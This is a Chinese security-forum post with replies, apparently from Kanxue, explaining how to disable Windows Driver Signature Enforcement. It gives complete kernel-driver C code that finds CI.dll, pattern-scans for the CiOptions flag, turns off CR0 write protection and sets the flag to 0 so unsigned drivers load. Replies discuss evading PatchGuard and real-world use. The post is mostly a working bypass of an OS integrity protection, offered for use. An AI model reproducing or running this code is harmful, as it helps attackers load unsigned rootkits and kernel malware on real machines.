首页
社区
课程
招聘
[原创]动态过DSE代码以及原理
发表于: 2019-10-18 17:26 11952

[原创]动态过DSE代码以及原理

2019-10-18 17:26
11952

目录

一丶简介

现在的驱动,必须都有签名才能加载.那么如何加载无签名的驱动模块那.
下面可以说下方法.但是挺尴尬的是,代码必须在驱动中编写.所以就形成了
你必须一个驱动带有一个签名加载进去.执行你的代码.pass掉DSE之后以后加载驱动就可以完全不用签名了.

二丶原理:

原理就是Path一下CI内核模块.将一个全局变量置为0即可.但是受PG保护.不过PG要检测这个位置不会立刻保护.所以可以修改完加载完你的无驱动签名的驱动.然后修改回来即可.

 

全局变量有三个. 0 6 8 0代表禁用 6代表开启. 8代表可以加载测试签名.

三丶逆向CI.dll寻找patch位置.

既然上面说了.是修改一个全局变量.那么打开CI看看修改那个即可.

 

图片描述

 

结果

 

图片描述

 

虽然提示你需要签名.但是可以用PChunter看到.其实已经加载了.

 

一共三个值. 0 6 8 6代表开启驱动签名 0代表关闭 8 代表开启测试驱动签名

四丶代码实现

#include "Driver.h"  //加载ntddk.h即可.我的DriverUnload没在这个文件.所以包含了一下
#include <wdm.h>

//KLDR_DATA_TABLE_ENTRY

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    USHORT LoadCount;
    USHORT TlsIndex;
    union {
        LIST_ENTRY HashLinks;
        struct {
            PVOID SectionPointer;
            ULONG CheckSum;
        };
    };
    union {
        struct {
            ULONG TimeDateStamp;
        };
        struct {
            PVOID LoadedImports;
        };
    };
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
{
    PLDR_DATA_TABLE_ENTRY pLdr = NULL;
    PLIST_ENTRY pListEntry = NULL;
    PLIST_ENTRY pCurrentListEntry = NULL;

    PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
    pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
    pListEntry = pLdr->InLoadOrderLinks.Flink;
    pCurrentListEntry = pListEntry->Flink;

    while (pCurrentListEntry != pListEntry) //前后不相等
    {
        //获取LDR_DATA_TABLE_ENTRY结构
        pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        if (pCurrentModule->BaseDllName.Buffer != 0)
        {
            DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
                pCurrentModule->BaseDllName,
                pCurrentModule->DllBase,
                (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
        }
        pCurrentListEntry = pCurrentListEntry->Flink;
    }
}

LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
{
    PLDR_DATA_TABLE_ENTRY pLdr = NULL;
    PLIST_ENTRY pListEntry = NULL;
    PLIST_ENTRY pCurrentListEntry = NULL;

    PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
    pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
    pListEntry = pLdr->InLoadOrderLinks.Flink;
    pCurrentListEntry = pListEntry->Flink;

    while (pCurrentListEntry != pListEntry) //前后不相等
    {
        //获取LDR_DATA_TABLE_ENTRY结构
        pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        if (pCurrentModule->BaseDllName.Buffer != 0)
        {
            UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
            UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
            if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
            {
                DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
                    pCurrentModule->BaseDllName,
                    pCurrentModule->DllBase,
                    (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
                return (LONGLONG)pCurrentModule->DllBase;
            }

        }
        pCurrentListEntry = pCurrentListEntry->Flink;
    }
    return 0;
}

typedef struct _BASEMANGER
{
    LONGLONG StartBase;
    LONGLONG EndBase;
}BASEMANGER,*PBASEMANGER;

BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
{
    PLDR_DATA_TABLE_ENTRY pLdr = NULL;
    PLIST_ENTRY pListEntry = NULL;
    PLIST_ENTRY pCurrentListEntry = NULL;

    PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
    pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
    pListEntry = pLdr->InLoadOrderLinks.Flink;
    pCurrentListEntry = pListEntry->Flink;
    BASEMANGER BaseManger = { 0 };
    while (pCurrentListEntry != pListEntry) //前后不相等
    {
        //获取LDR_DATA_TABLE_ENTRY结构
        pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        if (pCurrentModule->BaseDllName.Buffer != 0)
        {
            UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
            UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
            if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
            {

                DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
                    pCurrentModule->BaseDllName,
                    pCurrentModule->DllBase,
                    (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);

                BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
                BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
                return BaseManger;
            }

        }
        pCurrentListEntry = pCurrentListEntry->Flink;
    }
    BaseManger.StartBase = 0;
    BaseManger.EndBase = 0;
    return BaseManger;
}





//核心实现代码
DWORD64 g_CiOptionsAddress;
int g_CiOptions = 6;



KIRQL  WPOFFx64()
{
    KIRQL  irql = KeRaiseIrqlToDpcLevel();
    UINT64  cr0 = __readcr0();
    cr0 &= 0xfffffffffffeffff;
    _disable();
    __writecr0(cr0);
    return  irql;
}



KIRQL DisableMemProtected()
{
    KIRQL  irql = KeRaiseIrqlToDpcLevel();
    UINT64  cr0 = __readcr0();
    cr0 &= 0xfffffffffffeffff;
    _disable();
    __writecr0(cr0);
    return  irql;
}

void EnbaleMemProtected(KIRQL irql)
{
    UINT64  cr0 = __readcr0();
    cr0 |= 0x10000;
    _enable();
    __writecr0(cr0);
    KeLowerIrql(irql);
}
BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
{
    UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
    DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
    DWORD64 SerchAddress = CiStartAddress;
    DWORD64 Address;
    KIRQL Myirql;
    int nCount = 0;
    int isFind = 0;
    int i = 0;
    int isRead = 1;
    if (SerchAddress == 0)
    {
        return 0;
    }
    __try
    {
        KIRQL irql = KeRaiseIrqlToDpcLevel();
        while (SerchAddress++)
        {
            if (SerchAddress + 2 > CiEndAddress)
            {
                break;
            }

            isRead = 1;
            for (i = 0; i < 2; i++)
            {
                if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
                {
                    isRead = 0;
                    break;
                }
            }

            if (isRead == 1)
            {
                if (*(PUSHORT)(SerchAddress) == 0x15ff)
                {
                    Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
                    if (MmIsAddressValid((PDWORD64)Address))
                    {
                        if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
                        {
                            while (nCount < 100)
                            {
                                nCount++;
                                SerchAddress--;
                                if (*(PUSHORT)(SerchAddress) == 0x0d89)
                                {
                                    isFind = 1;
                                    break;
                                }
                            }
                            break;
                        }
                    }

                }
            }
        }
        KeLowerIrql(irql);
    }
    __except (1)
    {
        DbgPrint("搜索数据失败!");
    }
    if (isFind == 1)
    {
        //DbgPrint("SerchAddress:%p\n", SerchAddress);
        g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
        g_CiOptions = *(PLONG)g_CiOptionsAddress;
        DbgPrint("地址:%p 初始化值数据:%08X\n", g_CiOptionsAddress, g_CiOptions);
        Myirql = DisableMemProtected();
        *(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改为0即可.
        DbgPrint("地址:%p 修改数据为:%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
        EnbaleMemProtected(Myirql);
        return TRUE;
    }
    else
    {
        DbgPrint("搜索数据失败!\n");
        return FALSE;
    }
}
void EnbalDse()  //开启DSE保护
{
    KIRQL Myirql;
    Myirql = DisableMemProtected();
    *(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改为6即可.
    DbgPrint("开启签名验证成功.值修改为 %d \r\n", *(PLONG)g_CiOptionsAddress);
    EnbaleMemProtected(Myirql);

}



NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
    ULONG iCount = 0;
    NTSTATUS ntStatus;
    UNICODE_STRING uModuleName;
    BASEMANGER Base = { 0 };
    RtlInitUnicodeString(&uModuleName, L"CI.dll");
    pDriverObj->DriverUnload = DriverUnLoad;

    Base = GetModuleBaseByNames(pDriverObj, uModuleName);
    if (Base.StartBase != 0 && Base.EndBase != 0)
    {
        DisableDse(Base.StartBase, Base.EndBase);//传入CI基址 CICiEndAddress
        //EnbalDse();                            //关闭DSE
    }




    return STATUS_SUCCESS;
}

ps: .核心原理是看流星的一个大佬发的代码.自己本地测试了一下可行.所以发出来了.
原理就是Path CI. 大佬的代码就是寻找特征定位全局变量。既然知道原理了。那么定位的话就抄一下了。
另一篇文章是参考了 安全客的一个漏洞文章。现在找不到了。另一篇所讲的是 标志有三种 0 6 8 0是禁用 6是开启 8是启动测试签名。所以在这里直接使用了。

 

感谢 看流星论坛的大佬.因为写完文章好几天了.所以原文没找到.当时也看到一个安全客的漏洞分析也有讲.都找不到了.所以先在此感谢.如有侵犯权利或者发文不合适.请删帖.


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2019-10-18 17:40 被TkBinary编辑 ,原因:
收藏
免费 6
支持
分享
最新回复 (20)
雪    币: 6314
活跃值: (911)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
patch?
2019-10-18 17:36
0
雪    币: 23080
活跃值: (3432)
能力值: (RANK:648 )
在线值:
发帖
回帖
粉丝
3
下次来一篇直接加载的
2019-10-18 17:37
0
雪    币: 1706
活跃值: (9630)
能力值: ( LV13,RANK:385 )
在线值:
发帖
回帖
粉丝
4
二娃 patch?
修改一下值.说错.大佬勿怪.
2019-10-18 17:37
0
雪    币: 1706
活跃值: (9630)
能力值: ( LV13,RANK:385 )
在线值:
发帖
回帖
粉丝
5
KevinsBobo 下次来一篇直接加载的[em_87]
好的继续研究
2019-10-18 17:38
0
雪    币: 18
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
下次来一篇解base64的
2019-10-18 17:44
0
雪    币: 9210
活跃值: (1871)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
7
DSEFix——hfiref0x
2019-10-18 21:59
0
雪    币: 21449
活跃值: (62288)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
8
感谢分享哦~
2019-10-18 23:06
0
雪    币: 10037
活跃值: (4046)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
感谢分享,提前给楼主拜个早年吧
2019-10-19 07:59
0
雪    币: 914
活跃值: (2288)
能力值: ( LV5,RANK:68 )
在线值:
发帖
回帖
粉丝
10
概率性炸裂
2019-10-19 08:37
0
雪    币: 12848
活跃值: (9108)
能力值: ( LV9,RANK:280 )
在线值:
发帖
回帖
粉丝
11
有一说一,都有带签名的驱动了,还过啥DSE
2019-10-19 09:09
1
雪    币: 341
活跃值: (995)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
12
学习学习。
2019-10-19 10:59
0
雪    币: 137
活跃值: (1265)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
都已经有签名了不需要过DSE了,直接写shellcode到内核空间这样子了
2019-10-19 12:03
0
雪    币: 402
活跃值: (342)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
14
patchguard 了解一下
2019-10-19 17:23
0
雪    币: 1706
活跃值: (9630)
能力值: ( LV13,RANK:385 )
在线值:
发帖
回帖
粉丝
15
hzqst 有一说一,都有带签名的驱动了,还过啥DSE
大佬说得对.不过这东西跟动态过PG一样. 网吧中很多无签名的驱动.反正总会有人用到的.哈哈.
2019-10-20 11:37
0
雪    币: 1706
活跃值: (9630)
能力值: ( LV13,RANK:385 )
在线值:
发帖
回帖
粉丝
16
ProgmBoy patchguard 了解一下
改的快没事,亲测. 一个多小时都没蓝. 无调试模式.
2019-10-20 11:37
0
雪    币: 11
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
请问,win7X64打完补丁后,这个还能用吗??
2019-12-12 12:58
0
雪    币: 1134
活跃值: (2476)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
18
感谢分享
2019-12-12 14:51
0
雪    币: 1706
活跃值: (9630)
能力值: ( LV13,RANK:385 )
在线值:
发帖
回帖
粉丝
19
月下孤儿 请问,win7X64打完补丁后,这个还能用吗??
去IDA找一下这个位置.去看看. 我用的win7 win10以上你可以看下变成什么样了.
2019-12-12 16:39
0
雪    币: 516
活跃值: (3141)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wem
20
2020-5-8 07:23
0
雪    币: 4161
活跃值: (767)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
我记得有一个利用虚拟机的漏洞加载无签名的驱动的,你这种也是另外一种思路啊,.
2020-12-2 09:25
0
游客
登录 | 注册 方可回帖
返回
//